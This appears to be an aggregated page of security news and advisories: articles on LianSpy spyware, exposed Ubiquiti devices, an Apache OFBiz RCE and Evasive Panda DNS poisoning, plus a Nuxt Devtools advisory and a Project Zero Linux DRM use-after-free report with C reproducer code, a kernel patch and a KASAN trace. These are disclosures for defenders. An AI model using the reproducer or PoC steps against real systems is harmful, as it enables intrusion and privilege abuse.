Researchers say "LianSpy" malware has been in use in a covert data gathering operation that's gone undetected for at least three years.

Source: Tero Vesalainen via Shutterstock

An unknown — and likely state-sponsored — threat actor has been using a previously unseen mobile spyware tool to spy on an unknown number of Android smartphone users. This activity has been ongoing for at least three years, according to researchers.

Until now, the campaign has focused mainly on targeted individuals in Russia, according to researchers at Kaspersky, who are tracking the threat as LianSpy. But the tactics that the spyware operators used in deploying the malware could be easily applied in other regions as well, Kaspersky says.

**Post-Exploit Malware**

"LianSpy is a post-exploitation Trojan, meaning that the attackers either exploited vulnerabilities to root Android devices, or modified the firmware by gaining physical access to victims' devices," Kaspersky researcher Dmitry Kalinin wrote in a blog post this week. "It remains unclear which vulnerability the attackers might have exploited in the former scenario."

LianSpy is the latest in a fast-growing list of spyware tools. The list includes widely deployed products such as the NSO Group's Pegasus Software and the Intellexa alliance's Predator. Researchers have discovered these malware instances targeting iPhone and Android smartphone users in recent years. The main purchasers — and users — of these tools are typically governments and intelligence agencies that want to spy on dissidents, political opponents and other persons of interest to them.

In many instances — as was the case with last year's Operation Triangulation iOS spyware campaign — the purveyors of mobile spyware tools have exploited zero-day flaws in Android and iOS to deliver and/or run their malware on target devices. In other instances, including one involving an Android spyware tool dubbed BadBazaar last year and another espionage tool dubbed SandStrike in 2022, threat actors have distributed spyware via fake versions of popular applications on official mobile app stores.

**A Three Year Campaign**

Kaspersky researchers first stumbled on LianSpy in March 2024 and quickly determined that the entity behind it has been using the spyware tool since July 2021. Their analysis reveals that the attackers are likely distributing the malware disguised as systems applications and financial applications.

Unlike some so-called zero-click spyware tools, LianSpy's ability to function depends, to a certain extent, on user interaction.  When launched, the malware first checks to see if it has the required permissions to execute its mission on the victim's device. If it does not have the required permissions, the malware prompts the user to provide them. When LianSpy obtains permission, it registers what is known as an Android Broadcast Receiver to receive and respond to system events such as booting, low battery, and network changes. Kaspersky researchers found LianSpy is using super user binary with a modified name ("mu" instead of "su") to try and gain root access on a victim device. Kaspersky officials say this as an indication that the threat actor delivered the malware after first gaining access to the device another way.

"Upon launch, the malware hides its icon on the home screen and operates in the background using root privileges," Kalinin wrote. "This allows it to bypass Android status bar notifications, which would typically alert the victim that the smartphone is actively using the camera or microphone."

**Data Harvesting and Exfiltration**

LianSpy's primary function is to quietly monitor user activity by intercepting call logs, recording the device screen especially when the user is sending or receiving messages and enumerating all installed apps on the victim device. The threat actor behind the malware has not used private infrastructure for communicating with the malware or storing harvested data. Instead, the attacker has been using public cloud platforms and pastebin services for these functions.

"The threat actor leverages Yandex Disk for both exfiltrating stolen data and storing configuration commands. Victim data is uploaded into a separate Yandex Disk folder," Kaspersky said in a technical writeup on the malware.

One interesting aspect about LianSpy, according to Kaspersky, is how the malware uses its root privileges on a compromised device. Instead of using its superuser status to take complete control of a device, LianSpy uses just enough of the functionality available to carry out its mission in a quiet fashion. "Interestingly, root privileges are used so as to prevent their detection by security solutions," the security vendor says. Kaspersky researchers also found LianSpy to be using both symmetric and asymmetric keys for encrypting the data it exfiltrates, which makes victim identification impossible.

"Beyond standard espionage tactics like harvesting call logs and app lists, it leverages root privileges for covert screen recording and evasion," Kalinin said. "Unlike financially motivated spyware, LianSpy's focus on capturing instant message content indicates a targeted data-gathering operation."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Sophisticated Android Spyware Targets Users in Russia

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.

Someone did — or didn't — do something they should or shouldn't have, but no one wants to claim responsibility. What's your take? Send us a cybersecurity-related caption to explain the scene, above, and our favorite will win its creator a $25 Amazon gift card.

Here are four convenient ways to submit your ideas before the August 28, 2024, deadline:

*   Via social media: X, Facebook, and LinkedIn. (If you win, we'll respond to you on the same platform, requesting your email address.)
    

**Last Month's Winner**

Props to Marcello Delcaro, implementation manager at Exiger, whose caption for last month's "Cyber Cloudburst" contest snagged first place and a $25 Amazon gift card. Many thanks to all who played!

**About the Author**

John Klossner has been drawing technology cartoons for more than 15 years. His work regularly appears in Computerworld and Federal Computer Week. His illustrations and cartoons have also been published in The New Yorker, Barron's, and The Wall Street Journal.

Name That Edge Toon: Pointing Fingers

In the cloud, patches disseminate automatically. On your computer, you get notified. IoT devices, meanwhile, can escape attention for years on end.

Source: Nirbokphoto.com via Alamy Stock Photo

Tens of thousands of small office/home office (SOHO) devices sold by Ubiquiti Inc. are vulnerable on the open Internet to a five-year-old bug, researchers are warning.

In January 2019, broadband Internet expert Jim Troutman warned that an exposed port in dozens of Ubiquiti Internet of Things (IoT) gadgets was being exploited in denial-of-service (DoS) attacks. The underlying vulnerability, CVE-2017-0938, was assigned a "high" 7.5 score on the CVSS scale.

Seven months after that, researchers from Rapid7 were still able to find nearly 500,000 vulnerable devices. And now, even though Ubiquiti has long since acknowledged and patched the issue, around 20,000 devices remain vulnerable, Check Point Research noted in a new blog post.

"We can see that some of them were compromised," says Radoslaw Madej, vulnerability research team leader at Check Point Software. "Also, I've only done pretty rudimentary fingerprinting of the devices. It's quite possible that there are more of them \[compromised\] too."

Check Point also warned that besides being used in a SOHO botnet for DoS attack amplification, compromised devices can leak potentially sensitive data, too.

**Exposed Cameras & Routers Can Leak Data**

In probing Ubiquiti gadgets like the G4 Instant Camera — an Internet-enabled camera with two-way audio — Check Point homed in on port 10001, where the exposed process was first identified five years ago. The service at issue: Ubiquiti's discovery protocol, used to communicate between the device and its CloudKey+ controller.

Using spoofed packets, the Check Point researchers discovered that communicating with neither the CloudKey+ nor its connected devices required any sort of authentication. Further, the messages they received in response to their pings included specific information about the devices, plus their owners' names and locations.

"In a few instances, actually, there was a first name and the last name of a person, and what turned out to be a location where a Ubiquiti router was located," Madej recalls. "All this information … it took only one packet from me to receive that response.

"If I wanted to attack this entity, it would be easy for me, knowing the type of router they have, the name of the person, the exact software version, and their business address. \[I could\] find their contact details, and call them up saying: 'Hey, I'm calling from your Internet provider. I need to do some maintenance work. Provide me with access to the admin panel.' Because I can validate myself to this person by giving them all the information they need."

**The Issue with IoT**

Patched Ubiquiti products have a safeguard against Internet-based attacks: They do not respond to pings coming from the wider Web, only from internal IP addresses.

Despite the easy availability of such a simple fix, tens of thousands affected products in the wild remain unpatched. This seems to have a lot less to do with Ubiquiti itself than IoT security in general.

"We got used to patching our Windows machines and MacBooks and mobile phones and whatnot, but we're still not really used to the fact that we should also take care about our IoT devices, be it Wi-Fi routers, cameras, vacuum cleaners, fridges, and washing machines," Madej says.

"Of course," he adds, "the question is: To what extent an end user should even be bothered about it. We live in a time when all devices should have automatic updates enabled by default. I don't think that should be a concern of the end user."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

20K Ubiquiti IoT Cameras &amp; Routers Are Sitting Ducks for Hackers

### Summary
Nuxt Devtools is missing authentication on the `getTextAssetContent` RPC function which is vulnerable to path traversal.  Combined with a lack of Origin checks on the WebSocket handler,  an attacker is able to interact with a locally running devtools instance and exfiltrate data abusing this vulnerability. 

In certain configurations an attacker could leak the devtools authentication token and then abuse other RPC functions to achieve RCE. 

### Details
The `getTextAssetContent` function does not check for path traversals [(source)](https://github.com/nuxt/devtools/blob/c4f2b68281203fc3f61ffc97d9c6623fbfde46bb/packages/devtools/src/server-rpc/assets.ts#L88C48-L88C48), this could allow an attacker to read arbitrary files over the RPC WebSocket. 

The WebSocket server does not check the origin of the request [(source)](https://github.com/nuxt/devtools/blob/c4f2b68281203fc3f61ffc97d9c6623fbfde46bb/packages/devtools/src/server-rpc/index.ts#L109) leading to [CSWSH](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking). This may be intentional to allow certain configurations to work correctly.

Nuxt Devtools authentication tokens are placed within the home directory of the current user  [(source)](https://github.com/nuxt/devtools/blob/c4f2b68281203fc3f61ffc97d9c6623fbfde46bb/packages/devtools/src/dev-auth.ts#L14).

In the scenario that:
 + The user has a Nuxt3 Project running
 + Devtools is enabled and running
 + The project is placed within the users home directory.
 + The user visits a malicious webpage
 + User has authenticated with devtools at least once

The malicious webpage can connect to the Devtools WebSocket, perform a directory traversal brute force to find the authentication token, then use the *authenticated* [`writeStaticAssets` function](https://github.com/nuxt/devtools/blob/c4f2b68281203fc3f61ffc97d9c6623fbfde46bb/packages/devtools/src/server-rpc/assets.ts#L96C11-L96C28) to create a new Component, Nitro Handler or `app.vue` file which will run automatically as the file is changed.

### PoC
POC will exploit the Devtools server on localhost:3000 (you may need to manually restart the server as the restart hook does not always work).

POC: https://devtools-exploit.pages.dev

1. Create a new project with nuxt.new.
2. Place the project inside your home directory.
3. Run `pnpm run dev`.
4. Open the POC page.

The POC will:
+ Identify devtools version.
+ Leak your devtools token.
+ Create a new server handler with an insecure eval.

### Impact
+ All new Nuxt projects by default (devtools is enabled) are vulnerable to arbitrary file read.
+ Certain Nuxt configurations are vulnerable to Remote Code Execution


**Summary**

Nuxt Devtools is missing authentication on the getTextAssetContent RPC function which is vulnerable to path traversal. Combined with a lack of Origin checks on the WebSocket handler, an attacker is able to interact with a locally running devtools instance and exfiltrate data abusing this vulnerability.

In certain configurations an attacker could leak the devtools authentication token and then abuse other RPC functions to achieve RCE.

**Details**

The getTextAssetContent function does not check for path traversals (source), this could allow an attacker to read arbitrary files over the RPC WebSocket.

The WebSocket server does not check the origin of the request (source) leading to CSWSH. This may be intentional to allow certain configurations to work correctly.

Nuxt Devtools authentication tokens are placed within the home directory of the current user (source).

In the scenario that:

*   The user has a Nuxt3 Project running
*   Devtools is enabled and running
*   The project is placed within the users home directory.
*   The user visits a malicious webpage
*   User has authenticated with devtools at least once

The malicious webpage can connect to the Devtools WebSocket, perform a directory traversal brute force to find the authentication token, then use the _authenticated_ writeStaticAssets function to create a new Component, Nitro Handler or app.vue file which will run automatically as the file is changed.

**PoC**

POC will exploit the Devtools server on localhost:3000 (you may need to manually restart the server as the restart hook does not always work).

POC: https://devtools-exploit.pages.dev

1.  Create a new project with nuxt.new.
2.  Place the project inside your home directory.
3.  Run pnpm run dev.
4.  Open the POC page.

The POC will:

*   Identify devtools version.
*   Leak your devtools token.
*   Create a new server handler with an insecure eval.

**Impact**

*   All new Nuxt projects by default (devtools is enabled) are vulnerable to arbitrary file read.
*   Certain Nuxt configurations are vulnerable to Remote Code Execution

**References**

*   GHSA-rcvg-rgf7-pppv
*   https://github.com/nuxt/devtools/blob/c4f2b68281203fc3f61ffc97d9c6623fbfde46bb/packages/devtools/src/server-rpc/assets.ts#L88C48-L88C48
*   https://github.com/nuxt/devtools/blob/c4f2b68281203fc3f61ffc97d9c6623fbfde46bb/packages/devtools/src/server-rpc/index.ts#L109

GHSA-rcvg-rgf7-pppv: Nuxt Devtools has a Path Traversal: '../filedir'

Though TikTok is expected to adhere to certain COPPA-outlined measures, the social media giant has failed to meet those expectations, the Feds allege.

Source: Wachiwit via Alamy Stock Photo

The Justice Department, alongside the Federal Trade Commission (FTC), filed a civil lawsuit against TikTok on Aug. 2, due to allegations that the popular social media app and its parent company, ByteDance, violate children's online privacy protections.

In 2019, Musical.ly, TikTok's predecessor, was sued for violating the Children's Online Privacy Protection Act (COPPA), which prohibits website operators from knowingly collecting, using, or disclosing personal information from children under the age of 13 unless express consent is obtained from the child's parents. The company was then court ordered to adhere to certain measures in compliance with COPPA.

Since that time, TikTok allegedly has continued to allow children to create TikTok accounts as well as content on the platform, and has collected and retained personal information from these accounts without notifying the children's parents or obtaining consent, according to the Department of Justice (DoJ) and FTC. They also said that the company has failed to honor deletion requests from parents of those underage profiles.

"TikTok knowingly and repeatedly violated kids' privacy, threatening the safety of millions of children across the country," said FTC chair Lina Khan in a DoJ announcement. "The FTC will continue to use the full scope of its authorities to protect children online — especially as firms deploy increasingly sophisticated digital tools to surveil kids and profit from their data."

**About the Author**

FTC Slams TikTok With Lawsuit After Continued COPPA Violations

The enterprise resource planning platform bug CVE-2024-38856 has a vulnerability-severity score of 9.8 out of 10 on the CVSS scale and offers a wide avenue into enterprise applications for cyberattackers.

Brian Jackson via Alamy Stock Photo

A critical pre-authentication remote code execution (RCE) security vulnerability in Apache OFBiz could open organizations to data theft, lateral movement by threat actors into various applications and parts of their networks, and more.

The bug, tracked as CVE-2024-38856, carries a notably high CVSS score of 9.8, given how impactful exploitation could be. Apache OFBiz is an open source enterprise resource planning (ERP) system that has highly privileged access to various business processes for the purpose of single-pane management and automation; these can include accounting, human resources, customer relationship management, order management, manufacturing and e-commerce.

CVE-2024-38856 exists in the override view functionality, and can allow threat actors to access critical endpoints using a crafted request, according to the SonicWall Capture Labs threat research team, which discovered the vulnerability and shared its details with Dark Reading.

To protect their organizations, admins should upgrade their implementations to version 18.12.15 or newer.

OFBiz customers number around 170 and include some heavy hitters, such as Atlassian JIRA, Home Depot, United Airlines, and Upwork Global, according to SonicWall.

**About the Author**

Tara Seals has 20+ years of experience as a journalist, analyst and editor in the cybersecurity, communications and technology space. Prior to Dark Reading, Tara was Editor in Chief at Threatpost, and prior to that, the North American news lead for Infosecurity Magazine. She also spent 13 years working for Informa (formerly Virgo Publishing), as executive editor and editor-in-chief at publications focused on both the service provider and the enterprise arenas. A Texas native, she holds a B.A. from Columbia University, lives in Western Massachusetts with her family and is on a never-ending quest for good Mexican food in the Northeast.

Critical Apache OFBiz Vulnerability Allows Preauth RCE

The APT used DNS poisoning to install the Macma backdoor on targeted networks and then deliver malware to steal data via post-exploitation activity.

Source: Pawel Opaska via Alamy Stock Photo

Researchers have found that a China-linked advanced persistent threat (APT) group compromised an Internet service provider (ISP) to exploit software vendor update mechanisms using DNS poisoning. The attacks delivered new variants of the Macma backdoor, as well as post-exploitation malware to exfiltrate sensitive data from compromised networks.

Researchers at Volexity discovered the attack by Evasive Panda, a threat group they track as StormBamboo and that also goes by DaggerFly, when they detected multiple systems becoming infected with malware in mid-2023, they revealed in a recent blog post. The researchers eventually tracked the attacks to the highly active Chinese APT, which they found altering DNS query responses for specific domains tied to automatic software update channels for software vendors, they said.

"StormBamboo appeared to target software that used insecure update mechanisms, such as HTTP, and did not properly validate digital signatures of installers," Volexity researchers Ankur Saini, Paul Rascagneres, Steven Adair, and Thomas Lancaster wrote in the post. "Therefore, when these applications went to retrieve their updates, instead of installing the intended update, they would install malware, including but not limited to Macma and Pocostick (aka MGBot)."

Macma is a backdoor that's often used by Evasive Panda and was first detailed by Google TAG in 2021, though it was used for a number of years before discovery. The latest variant demonstrates the group converging development of both Macma and Gimmick MacOS malware, according to Volexity. The researchers also detected post-exploitation activity to deploy the malicious browser extension Reloadext to exfiltrate victim mail data, they said.

**Poisoning DNS Requests**

Volexity outlined one of several incidents that researchers investigated in which Evasive Panda used DNS poisoning to deliver malware via an HTTP automatic update mechanism. The attack poisoned responses for legitimate hostnames that were then used as second-stage command-and-control (C2) servers, the researchers said.

DNS poisoning is a type of DNS abuse in which an attacker poisons DNS records to reroute network communications to a server under their control to steal and manipulate information transmitted to users. In this case, the APT used the poisoned DNS records to resolve to an attacker-controlled server in Hong Kong at IP address 103.96.130.107, which was at the ISP level of the targeted organization.

The logic behind the abuse of automatic updates is the same for all the applications targeted, the researchers noted. The legitimate application performs an HTTP request to retrieve a text-based file containing the latest application version and a link to the installer.

"Since the attacker has control of the DNS responses for any given DNS name, they abuse this design, redirecting the HTTP request to a C2 server they control hosting a forged text file and a malicious installer," the researchers wrote.

In the attacks, the APT targeted multiple software vendors with "insecure update workflows" that use varying levels of complexity in their steps for pushing malware. For example, one of the vendors, 5Kplayer, uses a workflow, the binary of which automatically checks if a new version of YoutubeDL is available for each time the application is started.

If a new version is available, the process downloads it from the specified URL, and then the legitimate app executes it. In its attack, Evasive Panda used DNS poisoning to host a modified config file indicating a new update was available, which resulted in the YoutubeDL software downloading an upgrade package from the APT's server that had already been backdoored with malicious code.

**Beware: "Highly Skilled" APT at Work**

Volexity notified and worked with the ISP whose network was being used for DNS poisoning. The ISP investigated and took various network components offline, which stopped the malicious activity, the researchers said.

"During this time, it was not possible to pinpoint a specific device that was compromised, but various components of the infrastructure were updated or left offline and the activity ceased," they wrote.

The attacks are not the first time Evasive Panda, which often targets organizations across Asia that are interested in the Chinese state, has leveraged legit software update channels for nefarious purposes.

In April of last year, researchers from ESET discovered cyberespionage attacks in which the group targeted individuals in China and Nigeria by hijacking update channels for software developed by Chinese companies to deliver the MGBot malware to steal credentials and data.

Indeed, the group is "a highly skilled and aggressive threat actor" that often "compromises third parties to breach intended targets," the researchers warned.

"The variety of malware employed in various campaigns by this threat actor indicates significant effort is invested, with actively supported payloads for not only macOS and Windows, but also network appliances," they wrote.

The attacks also are related to previous research by ESET concerning the infection vector for the Pocostick malware that also used DNS poisoning to abuse automatic updates, as well as one used by a related APT DriftingBamboo following zero-day exploitation of Sophos firewalls, the researchers noted.

Volexity included a link to various rules and indicators of compromise (IOCs) in its post to help organizations detect if they have been affected by the malicious activity.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

China's Evasive Panda Attacks ISP to Send Malicious Software Updates

Linux DRM has drm_file_update_pid() call to get_pid() too late, which creates a race condition that can lead to use-after-free issue of a struct pid.

Linux: DRM: refcount incremented too late in drm_file_update_pid()

[I am sending this to security@ and to the drm-misc maintainers - based on https://drm.pages.freedesktop.org/maintainer-tools/committer-drm-misc.html#merge-criteria I think this falls into drm-misc's area of responsibility?]

=== summary ===  
drm_file_update_pid() calls get_pid() too late, which creates a race  
condition that can lead to use-after-free of a `struct pid`.

I will send a suggested patch off-list in a minute; let me know if you want me to resend it on the dri-devel list in case that works better for you.

=== verbose bug report ===  
drm_file_update_pid() contains the following code:

```  
  struct drm_device *dev;  
  struct pid *pid, *old;

  /*  
   * Master nodes need to keep the original ownership in order for  
   * drm_master_check_perm to keep working correctly. (See comment in  
   * drm_auth.c.)  
   */  
  if (filp->was_master)  
          return;

  pid = task_tgid(current);

  [...]

  dev = filp->minor->dev;  
  mutex_lock(&dev->filelist_mutex);  
  old = rcu_replace_pointer(filp->pid, pid, 1);  
  mutex_unlock(&dev->filelist_mutex);

  if (pid != old) {  
          get_pid(pid);  
          synchronize_rcu();  
          put_pid(old);  
  }  
```

filp->pid is a refcounted pointer which can only be modified under  
dev->filelist_mutex.  
After calling rcu_replace_pointer(), we have a refcount debt of 1, which is  
still fine because we're holding the mutex that prevents other tasks from  
taking ownership of the reference stored in filp->pid; but by the time we drop  
this mutex, we must have called get_pid() to make up for this refcount debt,  
and that isn't done.

So a use-after-free can occur in the following scenario, assuming filp->pid  
initially points to the pid of process A and process B's initial pid refcount  
is 1:

process A               process B  
=========               =========  
                        begin drm_file_update_pid  
                        mutex_lock(&dev->filelist_mutex)  
                        rcu_replace_pointer(filp->pid, <pid B>, 1)  
                        mutex_unlock(&dev->filelist_mutex)  
begin drm_file_update_pid  
mutex_lock(&dev->filelist_mutex)  
rcu_replace_pointer(filp->pid, <pid A>, 1)  
mutex_unlock(&dev->filelist_mutex)  
get_pid(<pid A>)  
synchronize_rcu()  
put_pid(<pid B>)   *** pid B reaches refcount 0 and is freed here ***  
                        get_pid(<pid B>)   *** UAF ***  
                        synchronize_rcu()  
                        put_pid(<pid A>)

Note that this race can only occur if RCU is configured so that  
running in preemptible task context can count as an RCU quiescent state.  
My testcase assumes that the kernel is configured for full preemption (meaning  
either CONFIG_PREEMPT=y or CONFIG_PREEMPT_DYNAMIC=y with full preemption  
selected at boot time); however, I think in theory the bug can probably be  
hit as long as CONFIG_PREEMPT_RCU=y is enabled (which is the case on kernel  
builds with dynamic preemption), since I think on such builds, expedited grace  
periods can still detect RCU quiescent states with IPIs.

My reproducer also requires that you patch the following code into the kernel  
to slow down execution and make the bug easy to trigger:

```  
diff --git a/drivers/gpu/drm/drm_file.c b/drivers/gpu/drm/drm_file.c  
index 638ffa4444f5..03e7711e9744 100644  
--- a/drivers/gpu/drm/drm_file.c  
+++ b/drivers/gpu/drm/drm_file.c  
@@ -38,6 +38,7 @@  
 #include <linux/pci.h>  
 #include <linux/poll.h>  
 #include <linux/slab.h>  
+#include <linux/delay.h>

 #include <drm/drm_client.h>  
 #include <drm/drm_drv.h>  
@@ -472,6 +473,12 @@ void drm_file_update_pid(struct drm_file *filp)  
        old = rcu_replace_pointer(filp->pid, pid, 1);  
        mutex_unlock(&dev->filelist_mutex);

+       if (strcmp(current->comm, \"SLOWME\") == 0) {  
+               pr_warn(\"%s: BEGIN DELAY\  
\", __func__);  
+               mdelay(1000);  
+               pr_warn(\"%s: END DELAY\  
\", __func__);  
+       }  
+  
        if (pid != old) {  
                get_pid(pid);  
                synchronize_rcu();  
```

The reproducer code:  
```  
#include <unistd.h>  
#include <stdio.h>  
#include <err.h>  
#include <fcntl.h>  
#include <stdlib.h>  
#include <sys/signal.h>  
#include <sys/ioctl.h>  
#include <sys/prctl.h>  
#include <sys/wait.h>  
#include <drm/drm.h>

#define SYSCHK(x) ({          \\  
  typeof(x) __res = (x);      \\  
  if (__res == (typeof(x))-1) \\  
    err(1, \"SYSCHK(\" #x \")\"); \\  
  __res;                      \\  
})

static void main_test_code() {  
  struct drm_version dummy_version;

  int drm_fd = SYSCHK(open(\"/dev/dri/renderD128\", O_RDONLY));  
  int child = SYSCHK(fork());

  if (child == 0) {  
    /* child process */  
    prctl(PR_SET_NAME, \"SLOWME\");  
    ioctl(drm_fd, DRM_IOCTL_VERSION, &dummy_version); // delay injected here  
  } else {  
    /* parent process */  
    usleep(200*1000);  
    ioctl(drm_fd, DRM_IOCTL_VERSION, &dummy_version);  
  }

  if (child == 0) {  
    /* child process */  
    exit(0);  
  } else {  
    /* parent process */  
    int status = 0;  
    pid_t child = wait(&status);  
    printf(\"wait() returned %d, status %d\  
\", child, status);  
    exit(0);  
  }  
}

int main(void) {  
  // run in a child process to avoid extra references from job control or such  
  int child = SYSCHK(fork());  
  if (child == 0) {  
    prctl(PR_SET_PDEATHSIG, SIGKILL);  
    main_test_code();  
  } else {  
    int status = 0;  
    pid_t child = wait(&status);  
    printf(\"wait() returned %d, status %d\  
\", child, status);  
  }  
}  
```

The resulting KASAN splat (tested on mainline plus the race widener patch  
above, with CONFIG_PREEMPT=y and CONFIG_KASAN=y):  
```  
 ==================================================================  
 BUG: KASAN: slab-use-after-free in drm_file_update_pid (./arch/x86/include/asm/atomic.h:93 (discriminator 4) ./include/linux/atomic/atomic-arch-fallback.h:749 (discriminator 4) ./include/linux/atomic/atomic-instrumented.h:253 (discriminator 4) ./include/linux/refcount.h:184 (discriminator 4) ./include/linux/refcount.h:241 (discriminator 4) ./include/linux/refcount.h:258 (discriminator 4) ./include/linux/pid.h:84 (discriminator 4) ./include/linux/pid.h:81 (discriminator 4) drivers/gpu/drm/drm_file.c:483 (discriminator 4))  
 Write of size 4 at addr ffff88811f2f68c0 by task SLOWME/1092

 CPU: 3 PID: 1092 Comm: SLOWME Not tainted 6.10.0-rc5-00035-gafcd48134c58-dirty #384  
 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014  
 Call Trace:  
  <TASK>  
 dump_stack_lvl (lib/dump_stack.c:117)  
 print_report (mm/kasan/report.c:378 mm/kasan/report.c:488)  
 kasan_report (mm/kasan/report.c:603)  
 kasan_check_range (mm/kasan/generic.c:175 (discriminator 1) mm/kasan/generic.c:189 (discriminator 1))  
 drm_file_update_pid (./arch/x86/include/asm/atomic.h:93 (discriminator 4) ./include/linux/atomic/atomic-arch-fallback.h:749 (discriminator 4) ./include/linux/atomic/atomic-instrumented.h:253 (discriminator 4) ./include/linux/refcount.h:184 (discriminator 4) ./include/linux/refcount.h:241 (discriminator 4) ./include/linux/refcount.h:258 (discriminator 4) ./include/linux/pid.h:84 (discriminator 4) ./include/linux/pid.h:81 (discriminator 4) drivers/gpu/drm/drm_file.c:483 (discriminator 4))  
 drm_ioctl_kernel (./include/drm/drm_drv.h:510 drivers/gpu/drm/drm_ioctl.c:737)  
 drm_ioctl (drivers/gpu/drm/drm_ioctl.c:842)  
 __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:912 fs/ioctl.c:898 fs/ioctl.c:898)  
 do_syscall_64 (arch/x86/entry/common.c:52 (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1))  
 entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)  
[...]  
  </TASK>

 Allocated by task 1091:  
 kasan_save_stack (mm/kasan/common.c:48)  
 kasan_save_track (./arch/x86/include/asm/current.h:49 (discriminator 1) mm/kasan/common.c:60 (discriminator 1) mm/kasan/common.c:69 (discriminator 1))  
 __kasan_slab_alloc (mm/kasan/common.c:312 mm/kasan/common.c:338)  
 kmem_cache_alloc_noprof (./include/linux/kasan.h:201 mm/slub.c:3940 mm/slub.c:4002 mm/slub.c:4009)  
 alloc_pid (kernel/pid.c:187)  
 copy_process (kernel/fork.c:2406)  
 kernel_clone (./include/linux/random.h:26 kernel/fork.c:2798)  
 __do_sys_clone (kernel/fork.c:2929)  
 do_syscall_64 (arch/x86/entry/common.c:52 (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1))  
 entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)

 Freed by task 1091:  
 kasan_save_stack (mm/kasan/common.c:48)  
 kasan_save_track (./arch/x86/include/asm/current.h:49 (discriminator 1) mm/kasan/common.c:60 (discriminator 1) mm/kasan/common.c:69 (discriminator 1))  
 kasan_save_free_info (mm/kasan/generic.c:582 (discriminator 1))  
 poison_slab_object (mm/kasan/common.c:242)  
 __kasan_slab_free (mm/kasan/common.c:256 (discriminator 1))  
 kmem_cache_free (mm/slub.c:4438 (discriminator 3) mm/slub.c:4513 (discriminator 3))  
 put_pid.part.0 (kernel/pid.c:122)  
 drm_ioctl_kernel (./include/drm/drm_drv.h:510 drivers/gpu/drm/drm_ioctl.c:737)  
 drm_ioctl (drivers/gpu/drm/drm_ioctl.c:842)  
 __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:912 fs/ioctl.c:898 fs/ioctl.c:898)  
 do_syscall_64 (arch/x86/entry/common.c:52 (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1))  
 entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)

 The buggy address belongs to the object at ffff88811f2f68c0  
  which belongs to the cache pid of size 240  
 The buggy address is located 0 bytes inside of  
  freed 240-byte region [ffff88811f2f68c0, ffff88811f2f69b0)

 The buggy address belongs to the physical page:  
 page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11f2f6  
 head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0  
 flags: 0x200000000000040(head|node=0|zone=2)  
 page_type: 0xffffefff(slab)  
 raw: 0200000000000040 ffff888106686a00 dead000000000122 0000000000000000  
 raw: 0000000000000000 0000000080190019 00000001ffffefff 0000000000000000  
 head: 0200000000000040 ffff888106686a00 dead000000000122 0000000000000000  
 head: 0000000000000000 0000000080190019 00000001ffffefff 0000000000000000  
 head: 0200000000000001 ffffea00047cbd81 ffffffffffffffff 0000000000000000  
 head: 0000000000000002 0000000000000000 00000000ffffffff 0000000000000000  
 page dumped because: kasan: bad access detected

 Memory state around the buggy address:  
  ffff88811f2f6780: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  
  ffff88811f2f6800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fc fc  
 >ffff88811f2f6880: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb  
                                            ^  
  ffff88811f2f6900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  
  ffff88811f2f6980: fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc  
 ==================================================================  
```

=== disclosure deadline ===  
This bug is subject to a 90-day disclosure deadline. If a fix for this  
issue is made available to users before the end of the 90-day deadline,  
this bug report will become public 30 days after the fix was made  
available. Otherwise, this bug report will become public at the deadline.  
The scheduled deadline is 2024-09-25.

For more details, see the Project Zero vulnerability disclosure policy:  
https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-  
policy.html

Related CVE Numbers: CVE-2024-39486.

Found by: jannh@google.com

Linux DRM drm_file_update_pid() Race Condition / Use-After-Free

Online Shopping Portal Project version 2.0 suffers from a remote SQL injection vulnerability.

